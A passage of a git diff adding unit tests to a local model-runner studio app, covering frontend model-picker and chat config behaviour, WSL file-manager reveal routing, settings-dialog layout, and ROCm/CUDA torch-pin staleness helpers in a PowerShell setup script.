+    assert src.count("hubTokenHeader(") >= 3
+    assert "hf_token=" not in src
+    assert '"hf_token"' not in src and "'hf_token'" not in src
+
+
+def test_model_metadata_probe_never_puts_token_in_query():
+    src = _read("features/model-picker/api/model-metadata.ts")
+    assert "hf_token=" not in src
+    assert '"hf_token"' not in src and "'hf_token'" not in src
+
+
+def test_model_config_page_floors_the_context_ceiling():
+    """The model's native max-context must be FLOORED to the step grid, never
+    rounded up (rounding up can offer/persist a length above the model's real
+    ceiling and break loading)."""
+    src = _read("features/model-picker/components/model-config-page.tsx")
+    assert "floorMaxSeqLength(modelMaxPosition.maxPositionEmbeddings)" in src
+    assert "normalizeMaxSeqLength(modelMaxPosition.maxPositionEmbeddings)" not in src
+
+
+def test_compare_load_clears_stale_native_lease():
+    """A compare-pane load never comes from the desktop file picker, so it must
+    clear any prior picked file's lease token + expiry, otherwise a reload can
+    send a stale lease for the now-active model."""
+    src = _read("features/chat/shared-composer.tsx")
+    assert "activeNativePathToken: null" in src
+    assert "activeNativePathExpiresAtMs: null" in src
+
+
+def test_autoload_records_backend_loaded_model_identity():
+    """An inactive-cache inventory row loads by local path, so startup autoload
+    must key both the active checkpoint and its summary by the backend's loaded
+    model identity instead of the catalog repo id."""
+    src = _read("features/chat/api/chat-adapter.ts")
+    autoload = src.split("async function loadAutoLoadCandidate", 1)[1]
+    autoload = autoload.split("\n  try {", 1)[0]
+    assert "const loadedModelId = loadResp.model || modelPath" in autoload
+    assert "setCheckpoint(loadedModelId," in autoload
+    assert "id: loadedModelId" in autoload
+    assert "m.id === loadedModelId" in autoload
+
+
+def test_rollback_restores_native_lease_expiry_with_token():
+    """A failed model switch that rolls back to a previously loaded picked GGUF
+    must restore the lease expiry paired with the token, never the token alone
+    (which would look non-expiring and skip the expiry guard)."""
+    src = _read("features/chat/hooks/use-chat-model-runtime.ts")
+    assert "previousActiveNativePathExpiresAtMs" in src
+    assert re.search(
+        r"activeNativePathExpiresAtMs:\s*previousActiveNativePathToken", src
+    ), "rollback must restore the expiry alongside the token"
+
+
+def test_default_caches_keyed_on_inventory_version():
+    """The chat-template and max-position caches must key on the inventory
+    version so a model update in the same session invalidates the cached value
+    instead of showing the stale revision."""
+    src = _read("features/model-picker/hooks/use-model-defaults.ts")
+    # Both cache keys (template + max-position) end with the inventory version.
+    assert src.count("${inventoryVersion}") >= 2
+
+
+def test_hidden_infra_model_needles_present():
+    """The frontend static needle list must keep hiding the RAG embedder and the
+    llama.cpp validation probe."""
+    src = _read("features/hub/lib/hidden-models.ts")
+    assert '"bge-small-en-v1.5"' in src
+    assert '"ggml-org/models"' in src
+    assert '"stories260k.gguf"' in src
+
+
+def test_hidden_models_dynamic_exact_ids_wired():
+    """The configured embedder arrives from /api/hub/hidden-models as exact
+    repo ids; a substring needle would let a generic basename like "model"
+    hide unrelated chat models."""
+    src = _read("features/hub/lib/hidden-models.ts")
+    assert "toLowerStrings(data.exact_ids)" in src
+    assert "dynamicExactIds.includes(lower)" in src
+
+
+def test_hidden_model_matchers_refresh_with_inventory_version():
+    src = _read("features/hub/lib/hidden-models.ts")
+    assert "const version = getInventoryVersion()" in src
+    assert "matchersFetchVersion === version" in src
+    assert "getInventoryVersion() !== version" in src
+
+
+def test_diffusion_capability_labeled_image_generation():
+    """The diffusion capability detects image GENERATORS (FLUX, SDXL,
+    text-to-image tags); labeling it "Image to text" showed generators when
+    users asked for captioning models."""
+    for rel in (
+        "features/hub/lib/model-capabilities.ts",
+        "features/hub/lib/model-type-filter.ts",
+        "features/hub/lib/view-models.ts",
+    ):
+        src = _read(rel)
+        assert "Image to text" not in src, rel
+        assert "Image generation" in src, rel
+
+
+def test_active_model_config_round_trips_gpu_fields():
+    """The active model's config must carry the GPU Memory knobs (GGUF only) so
+    a sidebar/hub-gear reload cannot silently reset manual GPU settings, and
+    "Remember settings" cannot persist a GPU-less config over a saved one."""
+    src = _read("features/model-picker/hooks/use-active-model-config.ts")
+    for field in ("gpuMemoryMode", "gpuLayers", "nCpuMoe", "selectedGpuIds"):
+        assert field in src, field
+    assert "if (!isGguf)" in src and "return base" in src
+    for rel in (
+        "features/chat/chat-page.tsx",
+        "features/hub/catalog/sampling-settings-dialog.tsx",
+    ):
+        assert "useActiveModelConfig(" in _read(rel), rel
+    signature = _read("features/model-picker/components/sidebar-model-config.tsx")
+    assert "gpuFieldsSignature(config)" in signature
+    shared = _read("features/model-picker/model-config/apply-per-model-config.ts")
+    assert "export function gpuFieldsSignature" in shared
+
+
+def test_compare_load_uses_each_models_gpu_config():
+    src = _read("features/chat/shared-composer.tsx")
+    assert "ownConfig.gpuMemoryMode ?? compareLoadKnobs.gpuMemoryMode" in src
+    assert "ownConfig.gpuLayers ?? compareLoadKnobs.gpuLayers" in src
+    assert "ownConfig.nCpuMoe ?? compareLoadKnobs.nCpuMoe" in src
+    assert "if (ownConfig.selectedGpuIds != null)" in src
+    assert "reconcilePersistedGpuIds(ownConfig.selectedGpuIds)" in src
+    for field in (
+        "gpu_memory_mode: effectiveGpuMemoryMode",
+        "gpu_layers: effectiveGpuLayers",
+        "n_cpu_moe: effectiveNCpuMoe",
+        "gpu_ids: effectiveSelectedGpuIds ?? undefined",
+    ):
+        assert field in src
+
+
+def test_active_native_gguf_metadata_uses_path_token():
+    src = _read("features/model-picker/components/model-config-page.tsx")
+    assert "(isActiveModel ? activeNativePathToken : null)" in src
+    assert "target.meta.nativePathToken ??" in src
+    assert "nativePathToken," in src
+    assert '${nativePathToken ?? ""}' in src
+
+
+def test_model_default_hooks_do_not_reset_state_in_effect():
+    src = _read("features/model-picker/hooks/use-model-defaults.ts")
+    assert "setFetched(null)" not in src
+
+
+def test_variant_expander_refreshes_after_delete():
+    """Deleting a downloaded quant from an expanded repo that still has other
+    cached quants must bump the expander refresh key, or the deleted quant stays
+    shown as downloaded and clickable and tries to reload the removed file."""
+    src = _read("features/model-picker/components/model-selector/pickers.tsx")
+    del_confirm = re.search(
+        r"await onDeleteVariant\(v\.quant\);.*?setRefreshKey\(\(key\) => key \+ 1\)",
+        src,
+        re.S,
+    )
+    assert del_confirm, "delete onConfirm must bump refreshKey after a successful delete"
+
+
+def test_local_picker_rows_require_chat_capability():
+    """Local inventory rows can be classified non-chat (canChat false, e.g. a
+    folder with only config.json). The picker must filter those out, or selecting
+    one loads a weightless path; toLocalModelInfo drops capabilities so the memo
+    is the only place the guard can live."""
+    src = _read("features/model-picker/inventory/use-chat-picker-inventory.ts")
+    memo = re.search(r"const localModels = useMemo\(.*?\[inventory\.localRows\]", src, re.S)
+    assert memo, "localModels memo not found"
+    assert "row.capabilities.canChat" in memo.group(0)
+
+
+def test_native_picked_gguf_template_read_through_lease():
+    """A native (picked / drag-drop) GGUF's path lives only in its signed lease,
+    and the picker chat-template GET has no lease plumbing, so the default
+    template must be read through the lease-aware validate probe: mint a
+    validate-model lease and post include_chat_template. The native token also
+    has to reach the fetch (threaded through the hook) and be part of the cache
+    key so two picks of the same basename don't share a template."""
+    api = _read("features/model-picker/api/templates.ts")
+    assert 'consumeNativePathToken(nativePathToken, "validate-model")' in api
+    assert "include_chat_template: true" in api
+    assert "/api/inference/validate" in api
+    hook = _read("features/model-picker/hooks/use-model-defaults.ts")
+    assert "nativePathToken," in hook
+    assert '${nativePathToken ?? ""}' in hook
+
+
+def test_model_load_guard_is_cross_instance():
+    """The in-flight load guard must consult the shared store pick (not only the
+    per-hook ref) and ejectModel must refuse while any instance is loading:
+    three live useChatModelRuntime instances exist (chat page, hub page, hub
+    gear dialog)."""
+    src = _read("features/chat/hooks/use-chat-model-runtime.ts")
+    assert "useChatRuntimeStore.getState().loadingModelPick" in src
+    assert "clearLoadingModelPick" in src
+    eject_body = src.split("const ejectModel", 1)[1]
+    assert "loadingModelPick" in eject_body.split("ejectModel,", 1)[0]
+
+
+def test_partial_safetensors_download_keeps_delete_menu():
+    """A stopped partial safetensors download must keep its options menu (the
+    Delete affordance) like the GGUF card does, or partial downloads can only
+    be cleaned up by finishing or leaving them. During an ACTIVE download the
+    menu stays hidden (every item would be disabled: no Copy path while not
+    downloaded, no Delete while downloading, pin suppressed in the run bar)."""
+    src = _read("features/hub/catalog/safetensors-download-card.tsx")
+    assert "(isDownloaded || (isPartial && !downloading))" in src
+
+
+def test_pinned_validation_uses_cached_local_variant_listing():
+    """Pinned-quant validation must use the TTL-cached hub client with
+    preferLocalCache (downloaded-ness is local state) instead of one uncached
+    round-trip per pinned repo on every picker open. Picker deletes must go
+    through the hub inventory client, whose delete invalidates both the
+    variants TTL cache and the server-side HF cache scan (the legacy
+    /api/models/delete-cached route invalidates neither, so a post-delete
+    inventory refresh would resurrect the deleted row until the scan TTL)."""
+    src = _read("features/model-picker/components/model-selector/pickers.tsx")
+    assert "listGgufVariantsCached(" in src
+    assert "preferLocalCache: true" in src
+    assert re.search(r'import \{[^}]*\bdeleteCachedModel\b[^}]*\} from "@/features/hub"', src)
+    hub_api = _read("features/hub/inventory/api.ts")
+    delete_fn = hub_api.split("export async function deleteCachedModel", 1)[1]
+    delete_fn = delete_fn.split("export ", 1)[0]
+    assert "invalidateGgufVariantsCache(" in delete_fn
+    assert "bumpInventoryVersion(" in delete_fn
+
+
+def test_chat_autoload_scopes_variant_lookup_to_cached_repo_path():
+    """Autoload must probe the exact cache row it will load, including rows
+    retained from a previously selected Hugging Face cache."""
+    src = _read("features/chat/api/chat-adapter.ts")
+    auto_load = src.split("async function autoLoadSmallestModel", 1)[1]
+    assert auto_load.count("preferLocalCache: true") >= 2
+    assert auto_load.count("localPath: repo.cache_path") >= 2
+
+    chat_api = _read("features/chat/api/chat-api.ts")
+    variants_fn = chat_api.split("export async function listGgufVariants", 1)[1]
+    variants_fn = variants_fn.split("export interface KvCacheEstimate", 1)[0]
+    assert 'params.set("prefer_local_cache", "true")' in variants_fn
+    assert 'params.set("local_path", localPath)' in variants_fn
+
+
+def test_cache_location_update_invalidates_frontend_inventory():
+    """A successful cache switch must refresh both inventory rows and cached
+    GGUF variant results before any stale active-cache identity can be reused."""
+    src = _read("features/settings/api/hugging-face-cache.ts")
+    update_fn = src.split("export async function updateHuggingFaceCacheSettings", 1)[1]
+    assert "bumpInventoryVersion();" in update_fn
+    assert "invalidateGgufVariantsCache();" in update_fn
+
+
+def test_downloaded_list_offsets_virtual_rows():
+    """The On Device virtualized list sits below the Pinned block in the same
+    scroll element, so it must pass its measured offset as scrollMargin or rows
+    past the overscan render blank."""
+    src = _read("features/hub/catalog/models-catalog-lists.tsx")
+    assert "scrollMargin={scrollMargin}" in src
+
+
+def test_local_gguf_diagnostics_gate_on_broad_is_gguf():
+    """The MTP fallback note and the context/VRAM warning must gate on the broad
+    isGguf (variant, loaded gguf context, or .gguf suffix), not the variant-only
+    isLoadedGguf, so direct-file and custom-folder GGUF loads keep those
+    diagnostics."""
+    src = _read("features/chat/chat-settings-sheet.tsx")
+    spec = re.search(r"const showSpecFallback =.*?;", src, re.S)
+    vram = re.search(r"const showContextVramWarning =.*?;", src, re.S)
+    assert spec and "isGguf &&" in spec.group(0) and "isLoadedGguf" not in spec.group(0)
+    assert vram and "isGguf &&" in vram.group(0) and "isLoadedGguf" not in vram.group(0)
+
+
+def test_fixed_layer_gguf_pins_displayed_context():
+    """An already-loaded auto-fit GGUF saved with Manual fixed GPU layers must
+    pin the shown context, so a later fresh load keeps the fitted placement
+    instead of sending native/0 and recreating the OOM."""
+    src = _read("features/model-picker/components/model-config-page.tsx")
+    assert "const pinFixedLayerContext =" in src
+    assert 'config.gpuMemoryMode === "manual"' in src
+    assert "customContextLength: activeLoadedContext" in src
+
+
+def test_auto_defaults_not_persisted_as_overrides():
+    """Auto GPU memory mode and Auto/default speculative type are follow-global
+    defaults; normalization must not persist them as per-model overrides, else a
+    model stops following later changes to the global preference."""
+    src = _read("features/model-picker/model-config/per-model-config.ts")
+    assert 'if (partial.gpuMemoryMode === "manual") {' in src
+    assert 'partial.gpuMemoryMode === "auto" || partial.gpuMemoryMode === "manual"' not in src
+    spec = re.search(r'if \(s === "auto" \|\| s === "default"\) \{\s*return ([^;]+);', src)
+    assert spec and spec.group(1).strip() == "null"
+
+
+def test_compare_pane_context_from_own_config_only():
+    """A compare pane's context comes from its own config only (a saved pin, else
+    null for Auto/native); it must not inherit the active model's shared snapshot,
+    which resolveFitMaxSeqLength would treat as an explicit pin (VRAM/OOM)."""
+    src = _read("features/chat/shared-composer.tsx")
+    assert "const effectiveCustomContextLength = ownConfig.customContextLength;" in src
+    assert "compareLoadKnobs.customContextLength" not in src
+
+
+def test_reset_max_seq_length_falls_back_to_app_default():
+    """After Reset clears maxSeqLength (null), a non-GGUF active model's shown
+    max sequence length must fall back to the app default, never the loaded
+    runtime snapshot, or a remembered/active override can never be cleared."""
+    src = _read("features/model-picker/components/model-config-page.tsx")
+    # The null fallback resolves to the app-default constant, not a runtime value.
+    assert "clampMaxSeqLength(DEFAULT_MAX_SEQ_LENGTH, nativeMaxSeqLength)" in src
+    # The buggy runtime-seeded fallback must not come back.
+    assert "clampMaxSeqLength(initialMaxSeqLength" not in src
+
+
+def test_reset_persists_null_max_length_and_substitutes_only_for_load():
+    """The persisted per-model record must keep config.maxSeqLength (null after
+    Reset) so isDefaultConfig can clear a remembered override; the concrete
+    fallback is substituted only into the load request, not the saved record."""
+    src = _read("features/model-picker/components/model-config-page.tsx")
+    # Load-only substitution of the resolved value.
+    assert "maxSeqLength: maxSeqLengthValue" in src
+    assert "const loadConfig" in src
+    # The persisted record is loaded via onRun(loadConfig), and save uses the
+    # untouched runtimeConfig (so a reset/default config stays default).
+    assert "onRun(loadConfig)" in src
+    assert "savePerModelConfig(" in src
+
+
+def test_reset_enabled_for_explicit_context_pin_at_native():
+    """An explicit customContextLength that equals the native ceiling is still a
+    user override, so contextAtDefault must require customContextLength == null.
+    The buggy form treated `contextValue === native` alone as default, wedging
+    the Reset button disabled for a deliberate pin-to-native."""
+    src = " ".join(_read("features/model-picker/components/model-config-page.tsx").split())
+    assert (
+        "const contextAtDefault = !target.isGguf || "
+        "(config.customContextLength == null && "
+        "(nativeContextLength == null || contextValue === nativeContextLength));" in src
+    )
+    # The old form that ignored an explicit pin equal to native must not return.
+    assert (
+        "(nativeContextLength == null ? config.customContextLength == null : "
+        "contextValue === nativeContextLength)" not in src
+    )
+    # The app-default constant is the single source of truth (imported, not local).
+    assert "DEFAULT_MAX_SEQ_LENGTH," in src
+    assert "const DEFAULT_MAX_SEQ_LENGTH = 4096" not in src
+
+
+def test_compare_pane_non_gguf_falls_back_to_app_default():
+    """A non-GGUF compare pane with no saved maxSeqLength must fall back to the
+    shared app default, not the active model's runtime snapshot; otherwise an
+    unconfigured pane inherits a saved 128K neighbor's context and can OOM."""
+    per_model = _read("features/model-picker/model-config/per-model-config.ts")
+    assert "export const DEFAULT_MAX_SEQ_LENGTH = 4096;" in per_model
+    barrel = _read("features/model-picker/index.ts")
+    assert "DEFAULT_MAX_SEQ_LENGTH," in barrel
+    src = " ".join(_read("features/chat/shared-composer.tsx").split())
+    assert "DEFAULT_MAX_SEQ_LENGTH," in src
+    assert (
+        "const effectiveMaxSeqLength = ownConfig.customContextLength ?? "
+        "normalizeMaxSeqLength(ownConfig.maxSeqLength) ?? "
+        "(isGgufLoad ? 0 : DEFAULT_MAX_SEQ_LENGTH);" in src
+    )
+    # The buggy fallback to the active model's shared runtime value must not return.
+    assert "(isGgufLoad ? 0 : maxSeqLength)" not in src
+    assert "const maxSeqLength = store.params.maxSeqLength;" not in src
+
+
+def test_default_gpu_mode_clears_manual_knobs():
+    """Switching GPU Memory back to Default must clear the Manual-only knobs
+    (gpuLayers/nCpuMoe/selectedGpuIds); otherwise a remembered config keeps stale
+    pins that a later load re-applies when the global preference is Manual."""
+    src = _read("features/model-picker/components/model-config-page.tsx")
+    assert 'gpuMemoryMode: "auto",' in src
+    assert "gpuLayers: undefined," in src
+    assert "nCpuMoe: undefined," in src
+    assert "selectedGpuIds: undefined," in src
+
+
+def test_legacy_migration_is_idempotent_and_non_destructive():
+    """The v1->v2 localStorage migration (unsloth_load_settings ->
+    unsloth_model_configs) is invoked on every store read, so it must be
+    idempotent: repeated reads, browser reloads, and Studio restarts must never
+    re-migrate, duplicate records, or overwrite a newer per-model config. This
+    was the class of regression that reverted the predecessor PR, so pin all
+    three idempotency layers at source level; dropping any of them reddens here.
+    """
+    raw = _read("features/model-picker/model-config/per-model-config.ts")
+    src = " ".join(raw.split())
+    # Migration runs from readMap (every store read), so it must be safe to repeat.
+    assert (
+        "function readMap(): StoredMap { migrateLegacyLoadSettingsOnce(); "
+        "return readMapRaw(); }" in src
+    )
+    # Layer 1: in-memory once-per-session guard so repeated readMap() calls
+    # migrate at most once.
+    assert "let legacyMigrationChecked = false;" in src
+    assert "if (legacyMigrationChecked || !canUseStorage()) {" in src
+    assert "legacyMigrationChecked = true;" in src
+    # Layer 2: persistent cross-session flag so a completed migration is never
+    # redone. Set in every terminal branch (malformed data, nothing to migrate,
+    # successful write); a failed quota write leaves it unset so the next session
+    # retries. Three set-sites encode exactly that.
+    assert 'const LEGACY_MIGRATION_FLAG = "unsloth_model_configs_migrated";' in src
+    assert "if (localStorage.getItem(LEGACY_MIGRATION_FLAG)) {" in src
+    assert src.count('localStorage.setItem(LEGACY_MIGRATION_FLAG, "1");') >= 3
+    # Layer 3: non-overwriting merge skips an existing (or default) key, so even a
+    # forced re-run cannot duplicate or clobber a user's config.
+    assert "if (isDefaultConfig(migrated) || Object.hasOwn(map, key)) {" in src
diff --git a/tests/studio/test_node_decision.ps1 b/tests/studio/test_node_decision.ps1
index bd5d5c8677..44f3ef0e1e 100644
--- a/tests/studio/test_node_decision.ps1
+++ b/tests/studio/test_node_decision.ps1
@@ -60,7 +60,7 @@ $globalBunOffset = $source.IndexOf('npm install -g bun')
 Check "NodeSource initialized before SKIP_STUDIO_FRONTEND branch" (
     $nodeSourceOffset -ge 0 -and $skipFrontendBranchOffset -ge 0 -and $nodeSourceOffset -lt $skipFrontendBranchOffset
 )
-Check "custom Studio home validated before Node parent creation" (
+Check "custom Unsloth home validated before Node parent creation" (
     $customHomeErrorOffset -ge 0 -and $nodeParentMkdirOffset -ge 0 -and $customHomeErrorOffset -lt $nodeParentMkdirOffset
 )
 Check "bundled Node pins npm prefix and clears NODE_PATH" (
diff --git a/tests/studio/test_reveal_file_manager.py b/tests/studio/test_reveal_file_manager.py
new file mode 100644
index 0000000000..8a1df586e5
--- /dev/null
+++ b/tests/studio/test_reveal_file_manager.py
@@ -0,0 +1,128 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Platform guards for the reveal-in-file-manager endpoint.
+
+A stock WSL distro has no Linux desktop, so the generic Linux branch
+(``xdg-open``) fails there. Under WSL the reveal must route through Windows
+interop (``wslpath -w`` + ``explorer.exe``), fall back to ``xdg-open`` when
+interop is unavailable, and leave native Linux behavior unchanged.
+"""
+
+from __future__ import annotations
+
+import os
+import subprocess
+import sys
+import types
+from pathlib import Path
+
+import pytest
+
+
+def _find_repo_root() -> Path | None:
+    env = os.environ.get("UNSLOTH_REPO_ROOT")
+    if env:
+        p = Path(env).resolve()
+        if (p / "studio" / "backend").is_dir():
+            return p
+    here = Path(__file__).resolve()
+    for parent in (here, *here.parents):
+        if (parent / "studio" / "backend").is_dir():
+            return parent
+    return None
+
+
+_REPO_ROOT = _find_repo_root()
+if _REPO_ROOT is None:
+    pytest.skip(
+        "Could not locate studio/backend. Set UNSLOTH_REPO_ROOT or run from "
+        "the repository checkout.",
+        allow_module_level = True,
+    )
+
+_STUDIO_BACKEND = _REPO_ROOT / "studio" / "backend"
+if str(_STUDIO_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_STUDIO_BACKEND))
+
+pytest.importorskip("fastapi")
+pytest.importorskip("huggingface_hub")
+
+try:
+    from routes import models as routes_models
+    from utils.paths import path_utils
+except Exception as exc:
+    pytest.skip(f"studio backend import unavailable: {exc}", allow_module_level = True)
+
+_WINDOWS_PATH = r"\\wsl.localhost\Distro\cache\model.gguf"
+
+
+@pytest.fixture()
+def linux_host(monkeypatch):
+    monkeypatch.setattr(sys, "platform", "linux")
+    monkeypatch.setattr(os, "name", "posix")
+
+
+@pytest.fixture()
+def spawned(monkeypatch):
+    calls = types.SimpleNamespace(run = [], popen = [], run_error = None)
+
+    def fake_run(cmd, **kwargs):
+        calls.run.append(list(cmd))
+        if calls.run_error is not None:
+            raise calls.run_error
+        return types.SimpleNamespace(stdout = _WINDOWS_PATH + "\n")
+
+    def fake_popen(cmd, **kwargs):
+        calls.popen.append(list(cmd))
+        return types.SimpleNamespace()
+
+    monkeypatch.setattr(subprocess, "run", fake_run)
+    monkeypatch.setattr(subprocess, "Popen", fake_popen)
+    return calls
+
+
+def test_wsl_file_is_selected_in_explorer(linux_host, spawned, monkeypatch, tmp_path):
+    monkeypatch.setattr(path_utils, "_IS_WSL", True)
+    target = tmp_path / "model.gguf"
+    target.write_bytes(b"gguf")
+    routes_models._reveal_in_file_manager(target)
+    assert spawned.run == [["wslpath", "-w", str(target)]]
+    assert spawned.popen == [["explorer.exe", f"/select,{_WINDOWS_PATH}"]]
+
+
+def test_wsl_directory_opens_in_explorer(linux_host, spawned, monkeypatch, tmp_path):
+    monkeypatch.setattr(path_utils, "_IS_WSL", True)
+    routes_models._reveal_in_file_manager(tmp_path)
+    assert spawned.popen == [["explorer.exe", _WINDOWS_PATH]]
+
+
+def test_wsl_without_interop_falls_back_to_xdg_open(linux_host, spawned, monkeypatch, tmp_path):
+    monkeypatch.setattr(path_utils, "_IS_WSL", True)
+    spawned.run_error = FileNotFoundError("wslpath")
+    target = tmp_path / "model.gguf"
+    target.write_bytes(b"gguf")
+    routes_models._reveal_in_file_manager(target)
+    assert spawned.popen == [["xdg-open", str(tmp_path)]]
+
+
+def test_wsl_empty_conversion_falls_back_to_xdg_open(linux_host, spawned, monkeypatch, tmp_path):
+    monkeypatch.setattr(path_utils, "_IS_WSL", True)
+
+    def empty_run(cmd, **kwargs):
+        return types.SimpleNamespace(stdout = "\n")
+
+    monkeypatch.setattr(subprocess, "run", empty_run)
+    routes_models._reveal_in_file_manager(tmp_path)
+    assert spawned.popen == [["xdg-open", str(tmp_path)]]
+
+
+def test_native_linux_keeps_xdg_open_on_parent_directory(
+    linux_host, spawned, monkeypatch, tmp_path
+):
+    monkeypatch.setattr(path_utils, "_IS_WSL", False)
+    target = tmp_path / "model.gguf"
+    target.write_bytes(b"gguf")
+    routes_models._reveal_in_file_manager(target)
+    assert spawned.run == []
+    assert spawned.popen == [["xdg-open", str(tmp_path)]]
diff --git a/tests/studio/test_settings_compact_overflow_contract.py b/tests/studio/test_settings_compact_overflow_contract.py
new file mode 100644
index 0000000000..b8547975d2
--- /dev/null
+++ b/tests/studio/test_settings_compact_overflow_contract.py
@@ -0,0 +1,35 @@
+"""Responsive overflow contracts for the settings dialog."""
+
+from pathlib import Path
+
+
+REPO = Path(__file__).resolve().parents[2]
+SETTINGS_DIALOG = REPO / "studio/frontend/src/features/settings/settings-dialog.tsx"
+API_MONITOR = REPO / "studio/frontend/src/features/settings/components/api-monitor-console.tsx"
+GENERAL_TAB = REPO / "studio/frontend/src/features/settings/tabs/general-tab.tsx"
+
+
+def test_dialog_content_can_shrink_inside_the_dialog_grid():
+    source = SETTINGS_DIALOG.read_text(encoding = "utf-8")
+    assert "flex h-full min-h-0 min-w-0 w-full max-sm:flex-col" in source
+    assert "relative flex min-h-0 min-w-0 flex-1 flex-col" in source
+
+
+def test_api_monitor_entries_and_expanded_text_can_shrink():
+    source = API_MONITOR.read_text(encoding = "utf-8")
+    assert (
+        '<article className="min-w-0 rounded-lg border border-border/70 bg-background">' in source
+    )
+    assert (
+        '<section className="flex min-w-0 flex-col rounded-lg border border-border/70 bg-background">'
+        in source
+    )
+    assert source.count('className="max-h-44 overflow-auto whitespace-pre-wrap break-words') == 2
+
+
+def test_embedding_model_controls_stack_on_the_narrowest_viewports():
+    source = GENERAL_TAB.read_text(encoding = "utf-8")
+    assert (
+        'className="max-[360px]:flex-col max-[360px]:items-stretch max-[360px]:gap-3"'
+    ) in source
+    assert 'className="w-[220px] max-[360px]:min-w-0 max-[360px]:flex-1"' in source
diff --git a/tests/studio/test_setup_pin_stale.ps1 b/tests/studio/test_setup_pin_stale.ps1
new file mode 100644
index 0000000000..2c92ae317f
--- /dev/null
+++ b/tests/studio/test_setup_pin_stale.ps1
@@ -0,0 +1,114 @@
+#!/usr/bin/env pwsh
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+# Unit test for studio/setup.ps1's pinned-torch-index stale-venv helpers
+# (Test-RocmGfx211Leaf, Test-CudaFamilyLeaf, Get-RocmPinStaleTags). Pure helpers,
+# AST-extracted and run in-process. Mirrors the Python _rocm_pin_family_mismatch /
+# _is_cuda_family_leaf tests.
+# Run: pwsh -NoProfile -File tests/studio/test_setup_pin_stale.ps1
+
+$ErrorActionPreference = "Stop"
+$setupPath = [System.IO.Path]::Combine($PSScriptRoot, "..", "..", "studio", "setup.ps1")
+$setupPath = (Resolve-Path $setupPath).Path
+
+# --- Parse setup.ps1 (also serves as a syntax gate) and extract the helpers ---
+$tokens = $null; $errors = $null
+$ast = [System.Management.Automation.Language.Parser]::ParseFile($setupPath, [ref]$tokens, [ref]$errors)
+if ($errors) { $errors | ForEach-Object { $_.ToString() }; throw "setup.ps1 has parse errors" }
+
+foreach ($name in @("Test-RocmGfx211Leaf", "Test-RocmKnown211Version", "Test-CudaFamilyLeaf", "Get-RocmPinStaleTags")) {
+    $fn = $ast.FindAll({ param($n)
+        $n -is [System.Management.Automation.Language.FunctionDefinitionAst] -and $n.Name -eq $name
+    }, $true)
+    if ($fn.Count -ne 1) { throw "expected exactly one $name in setup.ps1, found $($fn.Count)" }
+    # Pure helpers (no exit / external calls) -- safe to define in this scope.
+    Invoke-Expression $fn[0].Extent.Text
+}
+
+$failures = 0
+function Check($name, $cond) {
+    if ($cond) { Write-Host "  PASS  $name" }
+    else { Write-Host "  FAIL  $name" -ForegroundColor Red; $script:failures++ }
+}
+
+# A pinned gfx/rocm index is stale when Expected != Installed.
+function IsStale($leaf, $ver) {
+    $t = Get-RocmPinStaleTags -PinLeaf $leaf -TorchVersion $ver
+    return $t.Expected -ne $t.Installed
+}
+
+Write-Host "Test-RocmGfx211Leaf (the 2.11 gfx allowlist)"
+Check "gfx1151 -> true"        (Test-RocmGfx211Leaf "gfx1151")
+Check "gfx1150 -> true"        (Test-RocmGfx211Leaf "gfx1150")
+Check "gfx120x-all -> true"    (Test-RocmGfx211Leaf "gfx120x-all")
+Check "gfx110x-all -> false"   (-not (Test-RocmGfx211Leaf "gfx110x-all"))
+Check "gfx90a -> false"        (-not (Test-RocmGfx211Leaf "gfx90a"))
+Check "gfx908 -> false"        (-not (Test-RocmGfx211Leaf "gfx908"))
+
+Write-Host "Test-CudaFamilyLeaf (^cu[0-9])"
+Check "cu118 -> true"          (Test-CudaFamilyLeaf "cu118")
+Check "cu128 -> true"          (Test-CudaFamilyLeaf "cu128")
+Check "cu130 -> true"          (Test-CudaFamilyLeaf "cu130")
+Check "custom -> false"        (-not (Test-CudaFamilyLeaf "custom"))
+Check "current -> false"       (-not (Test-CudaFamilyLeaf "current"))
+Check "cpu -> false"           (-not (Test-CudaFamilyLeaf "cpu"))
+Check "empty -> false"         (-not (Test-CudaFamilyLeaf ""))
+
+Write-Host "Get-RocmPinStaleTags (mirror of _rocm_pin_family_mismatch)"
+# Exact rocm version comparison.
+Check "rocm7.2 pin + 2.11.0+rocm7.2 -> not stale"  (-not (IsStale "rocm7.2" "2.11.0+rocm7.2"))
+Check "rocm7.2 pin + 2.10.0+rocm6.4 -> stale"      (IsStale "rocm7.2" "2.10.0+rocm6.4")
+Check "rocm6.4 pin + 2.10.0+rocm6.4 -> not stale"  (-not (IsStale "rocm6.4" "2.10.0+rocm6.4"))
+# rocm7.2 is a KNOWN-2.11 index. A +rocm7.2 wheel whose RELEASE drifted off 2.11 shares
+# the tag but violates the spec -> stale (mirror of _rocm_pin_family_mismatch).
+Check "rocm7.2 pin + 2.12.0+rocm7.2 -> stale"      (IsStale "rocm7.2" "2.12.0+rocm7.2")
+Check "rocm7.2 pin + 2.13.0+rocm7.2 -> stale"      (IsStale "rocm7.2" "2.13.0+rocm7.2")
+Check "rocm7.2 pin + 2.11.5+rocm7.2 -> not stale"  (-not (IsStale "rocm7.2" "2.11.5+rocm7.2"))
+# An UNKNOWN newer rocm (off the 2.11 allowlist) isn't floored, so a matching version at
+# any release line is NOT stale on this exact-compare branch.
+Check "rocm8.0 pin + 2.12.0+rocm8.0 -> not stale"  (-not (IsStale "rocm8.0" "2.12.0+rocm8.0"))
+# An untagged (no +rocm) wheel never satisfies a ROCm pin -> always stale.
+Check "rocm7.2 pin + 2.10.0 (untagged) -> stale"   (IsStale "rocm7.2" "2.10.0")
+Check "rocm7.2 pin + 2.11.0 (untagged) -> stale"   (IsStale "rocm7.2" "2.11.0")
+Check "rocm6.4 pin + 2.10.0 (untagged) -> stale"   (IsStale "rocm6.4" "2.10.0")
+# 2.11-allowlist gfx pin: per-arch (three-part) wheel is satisfied, generic is stale.
+Check "gfx1151 pin + 2.11.0+rocm7.13.0 -> not stale"   (-not (IsStale "gfx1151" "2.11.0+rocm7.13.0"))
+Check "gfx1150 pin + 2.11.0+rocm7.13.0 -> not stale"   (-not (IsStale "gfx1150" "2.11.0+rocm7.13.0"))
